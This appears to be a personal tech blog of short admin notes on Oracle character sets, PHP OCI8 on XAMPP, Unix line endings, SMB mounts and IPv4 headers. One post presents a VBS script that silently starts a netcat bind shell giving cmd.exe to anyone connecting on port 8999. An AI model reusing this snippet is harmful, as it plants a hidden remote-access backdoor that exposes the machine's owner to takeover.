I have a very simple .sh file, it contains some delete command to delete some files.
I create this file on Window then upload to Linux server to run.
I've already change Execute mode for this file but can not run it.
This is the important reason & an important experience :)
Because my file is created on window, so it will be saved with window format --> You have to convert it to Linux format if you want to run it.
- Open your file in Linux server: vi yourfile.sh
- Run this command to convert :set fileformat=unix
Insert unicode character into Oracle
1. Check & set some database parameters
select * from nls_database_parameters where parameter like '%SET';
2. Set environment in your PC or your Server (important)
2.1. Your PC (window)- Right click to MyComputer > Properties > Advance system settings > Environment variables > system variables
- Click new, add new variable:
name: NLS_LANG
value: AMERICAN_AMERICA.AL32UTF8
- Try to log out/ log in again or restart your PC
2.2. Your linux server
Run command:
export NLS_LANG=AMERICAN_AMERICA.AL32UTF8
Or insert this command at the end of /etc/profile
Configure at the end of file: php/etc/php-fpm.conf
env[NLS_LANG] = $NLS_LANG
Restart php-fpm
Enable php_oci8.dll on window
Because xampp does not have 64bit version for window
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.
Solution:
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)
2. Extract instantclient (Ex: D:\instantclient_12_1)
3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1
4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again
5. Restart xampp or restart PC (if necessary)
6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8
Done.

run a command without open a command window
Use notepad, create a file such as: test.vbs
Content of the file:
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false

Access windows shared folders from Linux
You’ll need the cifs-utils package in order to mount SMB shares:
sudo apt-get install cifs-utils
After that, just make a directory and mount the share to it. In this example, we will mount the folder to our Desktop for easy access.
mkdir /path/to/mount_folder
sudo mount.cifs //IP_of_winPC/Share /path/to/mount_folder -o user=windowUser
sudo apt-get install cifs-utils
After that, just make a directory and mount the share to it. In this example, we will mount the folder to our Desktop for easy access.
mkdir /path/to/mount_folder
sudo mount.cifs //IP_of_winPC/Share /path/to/mount_folder -o user=windowUser
Then enter password & enjoy :)
cd /path/to/mount_folder
IPv4 datagram structure
Note:
1. Total Length This 16-bit field defines the entire packet size, including header and data, in bytes. The minimum-length packet is 20 bytes (20-byte header + 0 bytes data) and the maximum is 65,535 bytes — the maximum value of a 16-bit word. All hosts are required to be able to reassemble datagrams of size up to 576 bytes, but most modern hosts handle much larger packets. Sometimes subnetworks impose further restrictions on the packet size, in which case datagrams must be fragmented. Fragmentation is handled in either the host or router in IPv4.
2. Identification
This field is an identification field and is primarily used for uniquely identifying the group of fragments of a single IP datagram. Some experimental work has suggested using the ID field for other purposes, such as for adding packet-tracing information to help trace datagrams with spoofed source addresses,[11] but RFC 6864 now prohibits any such use.

3. Flags
A three-bit field follows and is used to control or identify fragments. They are (in order, from high order to low order):
bit 0: Reserved; must be zero.[note 1]
bit 1: Don't Fragment (DF)
bit 2: More Fragments (MF)
